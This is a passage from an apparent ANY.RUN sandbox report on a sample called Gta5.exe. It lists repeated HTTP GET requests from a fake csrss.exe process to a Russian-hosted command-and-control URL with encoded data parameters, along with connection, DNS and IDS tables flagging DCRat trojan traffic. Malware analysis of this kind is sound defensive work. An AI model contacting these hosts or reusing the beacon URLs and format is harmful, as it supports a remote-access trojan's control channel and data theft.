http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&e217e4de0d144b457087c03917bdcf33=d1nI0UDN3ITM1cDOhlTM0YTMyEzM0gTYiNzNwQWY3ITM3UjYzEGNmBTYhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W&ca39329153548335c2090faaac3d0c52=d1nIiojIyUmNlJTZlVWYwATZ5QGZzUjM0YzY2MWN3IWZ4U2N5MjIsICN1QzNyETN3gTY5EDN2EjMxMDN4EmYzcDMkF2NyEzN1I2MhRjZwEWYiojI4YmMzIzN5cTMhJDO4MTZ2EDOzETMjVmMiBzNklDOmNmIsIyMzY2MyUDNlZGZ0QjMzgjMiFmZ3UWO4YzNzMmZ2gjMyMDMhNGOxEzNiojI1QDZ1MzY4QGN1YTZlhjM3YDMwcjZhZDZ3MTZwEmZwEmI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dpl0TKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSp5kMFpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiImRDN1YDO3kzNkdzNhNmY2cTY0cjM4YzNhBzNkRGNzIjNklTMyQjMjJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
104 b
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&6886a73b10a53c73ed4b42a7a4dd1b59=d1nIRZWaNdVY6ZFWUdWVHJ2dxcVWUhnRYpGbyMWMxUEWj50VhNnSXRWU4ZEW6pEWapnVGh1YwpXUp9maJ9mUYlVUKNETpRjMkZXNyEWdWxWS2k0QhBjRHV1aKNjYq5EWhVkSDxUaJl2Tpd2RkhmQWJGaKNjWsh3VaVlSDxUaJl2Tp1ESjdnRVJGaWdEZUp0QMlGNyQmd1ITY1ZFbJZTSDJlSKhlW6ZlVihmVHRGVKNETp10Mi5GbtN2aG12Ymh3VaBnSulFak1WS2kUajxmTYZFdGdlWw4EbJN3dHJWM102TpNWbihGeVJGaWdEZUp0QMlGMXlFbSNzY21EWaNHbtp1ZwcVW5RmMilnQzwkNN1WS2k0QhBjRHVFdGdlWw4EbJNXSTtkdsdkWxYURJNza6pERGVUSyZ1RkNnRXp1UoNUS1xWRJxWNXFWT1cEW5hXMiBnUXRmQClnT1MWeRJkQ5FGbShkYoZVbV9WQTpVd5cUY3lTbjpGbXRVavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiIxcDOzcTM1MmYhFjYxMmMmFmY1QWY3gDNiNWYjlTOhNWN1IWY4EWZhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
2.08 Kb
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&ca39329153548335c2090faaac3d0c52=0VfiIiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiIxcDOzcTM1MmYhFjYxMmMmFmY1QWY3gDNiNWYjlTOhNWN1IWY4EWZhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
2.08 Kb
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&e217e4de0d144b457087c03917bdcf33=d1nI0UDN3ITM1cDOhlTM0YTMyEzM0gTYiNzNwQWY3ITM3UjYzEGNmBTYhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W&ca39329153548335c2090faaac3d0c52=d1nIiojIyUmNlJTZlVWYwATZ5QGZzUjM0YzY2MWN3IWZ4U2N5MjIsICN1QzNyETN3gTY5EDN2EjMxMDN4EmYzcDMkF2NyEzN1I2MhRjZwEWYiojI4YmMzIzN5cTMhJDO4MTZ2EDOzETMjVmMiBzNklDOmNmIsIyMzY2MyUDNlZGZ0QjMzgjMiFmZ3UWO4YzNzMmZ2gjMyMDMhNGOxEzNiojI1QDZ1MzY4QGN1YTZlhjM3YDMwcjZhZDZ3MTZwEmZwEmI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dpl0TKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSp5kMFpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiImRDN1YDO3kzNkdzNhNmY2cTY0cjM4YzNhBzNkRGNzIjNklTMyQjMjJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
104 b
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&e217e4de0d144b457087c03917bdcf33=d1nI0UDN3ITM1cDOhlTM0YTMyEzM0gTYiNzNwQWY3ITM3UjYzEGNmBTYhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W&ca39329153548335c2090faaac3d0c52=d1nIiojIyUmNlJTZlVWYwATZ5QGZzUjM0YzY2MWN3IWZ4U2N5MjIsICN1QzNyETN3gTY5EDN2EjMxMDN4EmYzcDMkF2NyEzN1I2MhRjZwEWYiojI4YmMzIzN5cTMhJDO4MTZ2EDOzETMjVmMiBzNklDOmNmIsIyMzY2MyUDNlZGZ0QjMzgjMiFmZ3UWO4YzNzMmZ2gjMyMDMhNGOxEzNiojI1QDZ1MzY4QGN1YTZlhjM3YDMwcjZhZDZ3MTZwEmZwEmI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dpl0TKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSp5kMFpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiImRDN1YDO3kzNkdzNhNmY2cTY0cjM4YzNhBzNkRGNzIjNklTMyQjMjJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
104 b
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&e217e4de0d144b457087c03917bdcf33=d1nI0UDN3ITM1cDOhlTM0YTMyEzM0gTYiNzNwQWY3ITM3UjYzEGNmBTYhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W&ca39329153548335c2090faaac3d0c52=d1nIiojIyUmNlJTZlVWYwATZ5QGZzUjM0YzY2MWN3IWZ4U2N5MjIsICN1QzNyETN3gTY5EDN2EjMxMDN4EmYzcDMkF2NyEzN1I2MhRjZwEWYiojI4YmMzIzN5cTMhJDO4MTZ2EDOzETMjVmMiBzNklDOmNmIsIyMzY2MyUDNlZGZ0QjMzgjMiFmZ3UWO4YzNzMmZ2gjMyMDMhNGOxEzNiojI1QDZ1MzY4QGN1YTZlhjM3YDMwcjZhZDZ3MTZwEmZwEmI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dpl0TKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSp5kMFpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiImRDN1YDO3kzNkdzNhNmY2cTY0cjM4YzNhBzNkRGNzIjNklTMyQjMjJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
104 b
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&e217e4de0d144b457087c03917bdcf33=d1nI0UDN3ITM1cDOhlTM0YTMyEzM0gTYiNzNwQWY3ITM3UjYzEGNmBTYhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W&ca39329153548335c2090faaac3d0c52=d1nIiojIyUmNlJTZlVWYwATZ5QGZzUjM0YzY2MWN3IWZ4U2N5MjIsICN1QzNyETN3gTY5EDN2EjMxMDN4EmYzcDMkF2NyEzN1I2MhRjZwEWYiojI4YmMzIzN5cTMhJDO4MTZ2EDOzETMjVmMiBzNklDOmNmIsIyMzY2MyUDNlZGZ0QjMzgjMiFmZ3UWO4YzNzMmZ2gjMyMDMhNGOxEzNiojI1QDZ1MzY4QGN1YTZlhjM3YDMwcjZhZDZ3MTZwEmZwEmI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dpl0TKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSp5kMFpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiImRDN1YDO3kzNkdzNhNmY2cTY0cjM4YzNhBzNkRGNzIjNklTMyQjMjJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
104 b
unknown
3472
csrss.exe
GET
200
141.8.192.26:80
http://a0923857.xsph.ru/_Defaultwindows.php?k2NH36kwXoSuyR85il2R9NMu7=4TEWu&ApDsIgYI7PXexy=qgjufyrxXpdKvCRsB42uJNP&BNuTuzs6IaNwemOkS1pDoWnFq=Wj4EicQwsSDXDh6hB&fb46827aa6dc993f6b9c8a00c5afb7c7=QMlBzMhNTN1QjNxYjN3IDZkVjMjZzM0YjMmdDNjFGMyIGNxkzM0QTZzQjM3ATO5cDNxYjN1IzM&8215bd871a8d1b9b1cd4a4c2e6126254=wY2ATZhdDMxI2YlRGO1EGMlFWOmZWM5YmNyIDMjJjZwIWMihDOzYDO&e217e4de0d144b457087c03917bdcf33=d1nI0UDN3ITM1cDOhlTM0YTMyEzM0gTYiNzNwQWY3ITM3UjYzEGNmBTYhJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W&ca39329153548335c2090faaac3d0c52=d1nIiojIyUmNlJTZlVWYwATZ5QGZzUjM0YzY2MWN3IWZ4U2N5MjIsICN1QzNyETN3gTY5EDN2EjMxMDN4EmYzcDMkF2NyEzN1I2MhRjZwEWYiojI4YmMzIzN5cTMhJDO4MTZ2EDOzETMjVmMiBzNklDOmNmIsIyMzY2MyUDNlZGZ0QjMzgjMiFmZ3UWO4YzNzMmZ2gjMyMDMhNGOxEzNiojI1QDZ1MzY4QGN1YTZlhjM3YDMwcjZhZDZ3MTZwEmZwEmI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dpl0TKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXSp5kMFpGTzsmaMRzZqxUMRpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiITZ2UmMlVWZhBDMllDZkNTNyQjNjZzY1cjYlhTZ3kzMiwiImRDN1YDO3kzNkdzNhNmY2cTY0cjM4YzNhBzNkRGNzIjNklTMyQjMjJiOigjZyMjM3kzNxEmM4gzMlZTM4MTMxMWZyIGM3QWO4Y2YiwiIzMjZzITN0UmZkRDNyMDOyIWYmdTZ5gjN3MzYmZDOyIzMwE2Y4ETM3IiOiUDNkVzMjhDZ0UjNlVGOycjNwAzNmFmNkdzMlBTYmBTYis3W
unknown
text
104 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
3472
csrss.exe
172.67.34.170:443
pastebin.com
CLOUDFLARENET
US
unknown
3472
csrss.exe
141.8.192.26:80
a0923857.xsph.ru
Sprinthost.ru LLC
RU
unknown
1512
sipnotify.exe
23.199.215.176:80
query.prod.cms.rt.microsoft.com
AKAMAI-AS
DE
unknown
1132
svchost.exe
224.0.0.252:5355
—
—
—
unknown

DNS requests

Domain
IP
Reputation
pastebin.com
  • 172.67.34.170
  • 104.20.67.143
  • 104.20.68.143
shared
a0923857.xsph.ru
  • 141.8.192.26
unknown
query.prod.cms.rt.microsoft.com
  • 23.199.215.176
whitelisted

Threats

PID
Process
Class
Message
1080
svchost.exe
Misc activity
ET INFO Observed DNS Query to xsph .ru Domain
3472
csrss.exe
A Network Trojan was detected
ET MALWARE DCRAT Activity (GET)
3472
csrss.exe
A Network Trojan was detected
REMOTE [ANY.RUN] DCRat HTTP GET Request
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Gta5.exe